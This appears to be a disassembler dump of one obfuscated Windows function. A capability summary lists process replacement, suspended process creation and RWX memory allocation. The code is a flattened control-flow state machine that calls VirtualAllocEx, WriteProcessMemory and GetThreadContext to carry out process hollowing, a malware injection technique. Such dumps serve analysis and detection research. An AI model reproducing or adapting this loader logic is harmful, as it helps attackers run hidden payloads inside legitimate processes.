Function at 0x10003460
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x10071a00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x114], 0x6216ae1
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x80104dd3
je 0x1000b10b
jmp 0x1000349c
mov eax, dword [ebp - 0x118]
sub eax, 0x8074cf6a
je 0x1000b206
jmp 0x100034b2
mov eax, dword [ebp - 0x118]
sub eax, 0x809a1d27
je 0x100070b7
jmp 0x100034c8
mov eax, dword [ebp - 0x118]
sub eax, 0x80c39e2d
je 0x100081ec
jmp 0x100034de
mov eax, dword [ebp - 0x118]
sub eax, 0x80d3bdf6
je 0x10008fd1
jmp 0x100034f4
mov eax, dword [ebp - 0x118]
sub eax, 0x810e4a5f
je 0x10007e3f
jmp 0x1000350a
mov eax, dword [ebp - 0x118]
sub eax, 0x81948bd1
je 0x100090f3
jmp 0x10003520
mov eax, dword [ebp - 0x118]
sub eax, 0x81fc5b3b
je 0x100065c0
jmp 0x10003536
mov eax, dword [ebp - 0x118]
sub eax, 0x81fc7c65
je 0x1000b0c9
jmp 0x1000354c
mov eax, dword [ebp - 0x118]
sub eax, 0x8221e7ea
je 0x10007509
jmp 0x10003562
mov eax, dword [ebp - 0x118]
sub eax, 0x82f20959
je 0x10007404
jmp 0x10003578
mov eax, dword [ebp - 0x118]
sub eax, 0x8382ddd8
je 0x1000649e
jmp 0x1000358e
mov eax, dword [ebp - 0x118]
sub eax, 0x83f47008
je 0x10007b50
jmp 0x100035a4
mov eax, dword [ebp - 0x118]
sub eax, 0x840e21d7
je 0x10005e9b
jmp 0x100035ba
mov eax, dword [ebp - 0x118]
sub eax, 0x842eed60
je 0x10009a29
jmp 0x100035d0
mov eax, dword [ebp - 0x118]
sub eax, 0x85845460
je 0x1000a619
jmp 0x100035e6
mov eax, dword [ebp - 0x118]
sub eax, 0x858f166f
je 0x10009244
jmp 0x100035fc
mov eax, dword [ebp - 0x118]
sub eax, 0x85978117
je 0x1000b32b
jmp 0x10003612
mov eax, dword [ebp - 0x118]
sub eax, 0x888a728a
je 0x100079b8
jmp 0x10003628
mov eax, dword [ebp - 0x118]
sub eax, 0x88a87ec6
je 0x100084d4
jmp 0x1000363e
mov eax, dword [ebp - 0x118]
sub eax, 0x88b777cd
je 0x10008f54
jmp 0x10003654
mov eax, dword [ebp - 0x118]
sub eax, 0x892d4dec
je 0x10008f63
jmp 0x1000366a
mov eax, dword [ebp - 0x118]
sub eax, 0x89622711
je 0x100082bd
jmp 0x10003680
mov eax, dword [ebp - 0x118]
sub eax, 0x89c8f52c
je 0x1000655f
jmp 0x10003696
mov eax, dword [ebp - 0x118]
sub eax, 0x8a5fd3aa
je 0x10008d72
jmp 0x100036ac
mov eax, dword [ebp - 0x118]
sub eax, 0x8a78575f
je 0x100062be
jmp 0x100036c2
mov eax, dword [ebp - 0x118]
sub eax, 0x8afe0281
je 0x10008a88
jmp 0x100036d8
mov eax, dword [ebp - 0x118]
sub eax, 0x8c6e9007
je 0x100074fa
jmp 0x100036ee
mov eax, dword [ebp - 0x118]
sub eax, 0x8de7367c
je 0x100069c7
jmp 0x10003704
mov eax, dword [ebp - 0x118]
sub eax, 0x8e2f4f78
je 0x10008a67
jmp 0x1000371a
mov eax, dword [ebp - 0x118]
sub eax, 0x8e39c5d7
je 0x10007719
jmp 0x10003730
mov eax, dword [ebp - 0x118]
sub eax, 0x8e4178fb
je 0x1000971a
jmp 0x10003746
mov eax, dword [ebp - 0x118]
sub eax, 0x90d5558d
je 0x10007eb0
jmp 0x1000375c
mov eax, dword [ebp - 0x118]
sub eax, 0x918a99ad
je 0x1000a7b8
jmp 0x10003772
mov eax, dword [ebp - 0x118]
sub eax, 0x918c8379
je 0x10009a7a
jmp 0x10003788
mov eax, dword [ebp - 0x118]
sub eax, 0x91ff4995
je 0x1000783b
jmp 0x1000379e
mov eax, dword [ebp - 0x118]
sub eax, 0x92f787ff
je 0x10005fdc
jmp 0x100037b4
mov eax, dword [ebp - 0x118]
sub eax, 0x9311ebde
je 0x1000734e
jmp 0x100037ca
mov eax, dword [ebp - 0x118]
sub eax, 0x961db8a3
je 0x100089e4
jmp 0x100037e0
mov eax, dword [ebp - 0x118]
sub eax, 0x96c573be
je 0x10007de4
jmp 0x100037f6
mov eax, dword [ebp - 0x118]
sub eax, 0x9819ccb7
je 0x10007df3
jmp 0x1000380c
mov eax, dword [ebp - 0x118]
sub eax, 0x986544a1
je 0x1000a292
jmp 0x10003822
mov eax, dword [ebp - 0x118]
sub eax, 0x99a867c6
je 0x1000a6b7
jmp 0x10003838
mov eax, dword [ebp - 0x118]
sub eax, 0x9a53a591
je 0x10006e1d
jmp 0x1000384e
mov eax, dword [ebp - 0x118]
sub eax, 0x9a66bc20
je 0x10007ca5
jmp 0x10003864
mov eax, dword [ebp - 0x118]
sub eax, 0x9a94ded3
je 0x1000764f
jmp 0x1000387a
mov eax, dword [ebp - 0x118]
sub eax, 0x9aa13b19
je 0x100085fa
jmp 0x10003890
mov eax, dword [ebp - 0x118]
sub eax, 0x9b0b5e99
je 0x10006d12
jmp 0x100038a6
mov eax, dword [ebp - 0x118]
sub eax, 0x9c0cb6c7
je 0x1000936c
jmp 0x100038bc
mov eax, dword [ebp - 0x118]
sub eax, 0x9d4c911a
je 0x10006199
jmp 0x100038d2
mov eax, dword [ebp - 0x118]
sub eax, 0x9d520816
je 0x10007039
jmp 0x100038e8
mov eax, dword [ebp - 0x118]
sub eax, 0x9d72aea0
je 0x10006d31
jmp 0x100038fe
mov eax, dword [ebp - 0x118]
sub eax, 0x9db70007
je 0x10007499
jmp 0x10003914
mov eax, dword [ebp - 0x118]
sub eax, 0x9de71012
je 0x100068d1
jmp 0x1000392a
mov eax, dword [ebp - 0x118]
sub eax, 0x9e22b29d
je 0x100073a9
jmp 0x10003940
mov eax, dword [ebp - 0x118]
sub eax, 0x9e6986db
je 0x10005f47
jmp 0x10003956
mov eax, dword [ebp - 0x118]
sub eax, 0x9eb0ab6f
je 0x1000adf1
jmp 0x1000396c
mov eax, dword [ebp - 0x118]
sub eax, 0x9ee3425d
je 0x10005d7d
jmp 0x10003982
mov eax, dword [ebp - 0x118]
sub eax, 0x9f189f8a
je 0x1000b376
jmp 0x10003998
mov eax, dword [ebp - 0x118]
sub eax, 0xa082df61
je 0x1000732f
jmp 0x100039ae
mov eax, dword [ebp - 0x118]
sub eax, 0xa1305a8b
je 0x1000af17
jmp 0x100039c4
mov eax, dword [ebp - 0x118]
sub eax, 0xa1c67e9e
je 0x1000a351
jmp 0x100039da
mov eax, dword [ebp - 0x118]
sub eax, 0xa26fad5b
je 0x10009882
jmp 0x100039f0
mov eax, dword [ebp - 0x118]
sub eax, 0xa3382336
je 0x1000b31c
jmp 0x10003a06
mov eax, dword [ebp - 0x118]
sub eax, 0xa3f8ec0c
je 0x1000b057
mov dword [ebp - 0x114], 0xc57e4ed5
jmp 0x1000b423
mov eax, dword [0x10072d28]
mov ecx, dword [0x10072d24]
mov edx, eax
add edx, 0x57fcb6bd
sub edx, 1
sub edx, 0x57fcb6bd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe9d3c2bc
mov ecx, 0x3862aeaa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
movss xmm0, dword [0x1001837c]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x114], 0x4ef717a8
jmp 0x1000b423
mov ecx, dword [0x10072d28]
mov eax, dword [0x10072d24]
mov edx, ecx
add edx, 0x97218e6c
sub edx, 1
sub edx, 0x97218e6c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x52f7040b
mov ecx, 0xe17d06b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
movss xmm0, dword [0x10018374]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10018370]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x1001836c]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x114], 0x56c24253
jmp 0x1000b423
mov dword [ebp - 0x114], 0xb39cda80
jmp 0x1000b423
mov dword [ebp - 0x114], 0x662edc7c
jmp 0x1000b423
movss xmm0, dword [0x10018218]
movss dword [ebp - 0x104], xmm0
mov eax, dword [0x10072d28]
mov ecx, dword [0x10072d24]
mov edx, eax
sub edx, 0xdc045c03
sub edx, 1
add edx, 0xdc045c03
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xec8cbb63
mov ecx, 0x81fc5b3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov dword [ebp - 0x114], 0x39eda7ea
jmp 0x1000b423
movss xmm0, dword [0x10018210]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0x108], xmm0
mov eax, dword [0x10072d28]
mov ecx, dword [0x10072d24]
mov edx, eax
sub edx, 0xdb7f051a
sub edx, 1
add edx, 0xdb7f051a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcfb3285a
mov ecx, 0x5066a70a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
movss xmm0, dword [0x10018208]
movss dword [ebp - 0x108], xmm0
mov ecx, dword [0x10072d28]
mov eax, dword [0x10072d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf4bf8f32
mov ecx, 0x6763c6d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
movss xmm0, dword [0x10018324]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x114], 0x9d72aea0
jmp 0x1000b423
mov ecx, dword [0x10072d28]
mov eax, dword [0x10072d24]
mov edx, ecx
sub edx, 0x3b3873ef
sub edx, 1
add edx, 0x3b3873ef
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xecbf6b91
mov ecx, 0x4305702c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov dl, 1
mov eax, 0xc6348f9a
mov ecx, 0x214f9ac5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0x10c], xmm0
mov ecx, dword [0x10072d28]
mov eax, dword [0x10072d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4eff93d3
mov ecx, 0x809a1d27
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov dl, 1
mov eax, 0x57a59975
mov ecx, 0xcfe49b82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
movss xmm0, dword [0x100182fc]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x114], 0x9311ebde
jmp 0x1000b423
mov dl, 1
mov eax, 0x9e22b29d
mov ecx, 0xda37f70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
movss xmm0, dword [0x100182f0]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x114], 0x387db2cd
jmp 0x1000b423
movss xmm0, dword [0x100182e8]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x114], 0x4b515a81
jmp 0x1000b423
movss xmm0, dword [0x100181ec]
movss dword [ebp - 0x10c], xmm0
mov eax, dword [0x10072d28]
mov ecx, dword [0x10072d24]
mov edx, eax
sub edx, 0xe0ed831e
sub edx, 1
add edx, 0xe0ed831e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc0d8c454
mov ecx, 0x8c6e9007
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov dword [ebp - 0x114], 0x8221e7ea
jmp 0x1000b423
mov dl, 1
mov eax, 0x7e6a687a
mov ecx, 0xfb3e1190
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0x110], xmm0
mov ecx, dword [0x10072d28]
mov eax, dword [0x10072d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4ff5604e
mov ecx, 0x1be88449
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
movss xmm0, dword [0x100182d8]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x114], 0xc5cefb90
jmp 0x1000b423
movss xmm0, dword [0x100182d4]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x114], 0xafd5ba8d
jmp 0x1000b423
mov eax, dword [0x10072d28]
mov ecx, dword [0x10072d24]
mov edx, eax
sub edx, 0xb804dd31
sub edx, 1
add edx, 0xb804dd31
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7755e3ce
mov ecx, 0x743c5bd5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov dword [ebp - 0x114], 0xf700f4ca
jmp 0x1000b423
movss xmm0, dword [0x100181d0]
movss dword [ebp - 0x110], xmm0
mov eax, dword [0x10072d28]
mov ecx, dword [0x10072d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x24c4d1d0
mov ecx, 0x6c5ffa73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov dword [ebp - 0x114], 0x9819ccb7
jmp 0x1000b423
mov dl, 1
mov eax, 0xb87795b1
mov ecx, 0xa5b0047c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov dword [ebp - 0x114], 0xb87795b1
jmp 0x1000b423
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100182ac]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xf51a8acd
jmp 0x1000b423
mov dl, 1
mov eax, 0xbf3d6cf2
mov ecx, 0x533893c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100181c0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100181bc]
movss dword [eax], xmm0
mov ecx, dword [0x10072d28]
mov eax, dword [0x10072d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3cd8b607
mov ecx, 0xacf54374
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001826c]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xbfd913cb
jmp 0x1000b423
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018268]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xd9cdfce
jmp 0x1000b423
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001824c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018248]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x8e2f4f78
mov ecx, 0x1c13fb4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001823c]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x8afe0281
jmp 0x1000b423
mov eax, dword [0x10072d28]
mov ecx, dword [0x10072d24]
mov edx, eax
sub edx, 0x1baf91ae
sub edx, 1
add edx, 0x1baf91ae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81fc7c65
mov ecx, 0x6dcab256
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov ecx, dword [0x10072d28]
mov eax, dword [0x10072d24]
mov edx, ecx
add edx, 0xbe233150
sub edx, 1
sub edx, 0xbe233150
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe42bdb8a
mov ecx, 0x504ae2fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov dword [ebp - 0x114], 0x892d4dec
jmp 0x1000b423
mov ecx, dword [0x10072d28]
mov eax, dword [0x10072d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x190a3523
mov ecx, 0x80d3bdf6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov eax, dword [0x10072d28]
mov ecx, dword [0x10072d24]
mov edx, eax
sub edx, 0xc895e979
sub edx, 1
add edx, 0xc895e979
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x190a3523
mov ecx, 0x38336ece
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov dword [ebp - 0x114], 0xfc3b6c80
jmp 0x1000b423
mov dword [ebp - 0x114], 0xca30bab2
jmp 0x1000b423
mov dl, byte [ebp - 0x8d]
mov eax, 0xe2cfd56e
mov ecx, 0x59f1845d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0xe0]
add eax, 4
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x114], 0xfe95d719
jmp 0x1000b423
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002ad0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x114], 0x2b71dd1f
jmp 0x1000b423
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x918c8379
jmp 0x1000b423
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xcc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xe0]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x114], 0x5721b0ee
jmp 0x1000b423
mov ecx, dword [0x10072d28]
mov eax, dword [0x10072d24]
mov edx, ecx
add edx, 0xa49595a5
sub edx, 1
sub edx, 0xa49595a5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa3382336
mov ecx, 0x6fbb5ee0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov dword [ebp - 0x114], 0x57202032
jmp 0x1000b423
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [0x10072d28]
mov ecx, dword [0x10072d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x212b05f0
mov ecx, 0x3b060be7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b423
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xa0]
mov edx, dword [edx]
movzx ecx, word [ecx + edx*2]
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, 0xffffffff
xor edx, 0x3640f892
or ecx, esi
or edx, 0x3640f892
xor ecx, 0xffffffff
and ecx, edx
sub eax, 0xd18e178
add eax, ecx
add eax, 0xd18e178
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x114], 0x3a5e7852
jmp 0x1000b423
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
mov eax, dword [ebp - 0x98]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x114], 0x59be550f
jmp 0x1000b423
movss xmm0, dword [0x10018200]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x114], 0xecffcdf2
jmp 0x1000b423
mov dword [ebp - 0x114], 0x2dca6d
jmp 0x1000b423
mov dword [ebp - 0x114], 0x6dcab256
jmp 0x1000b423
mov dword [ebp - 0x114], 0x35e420e1
jmp 0x1000b423
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x80]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x114], 0xf170876c
jmp 0x1000b423
mov dword [ebp - 0x114], 0x6fbb5ee0
jmp 0x1000b423
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0x258885a2
sub ecx, 8
sub ecx, 0x258885a2
shr ecx, 1
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0xb4812ee5
jmp 0x1000b423
mov dword [ebp - 0x114], 0x71c4be66
jmp 0x1000b423
jmp 0x10003480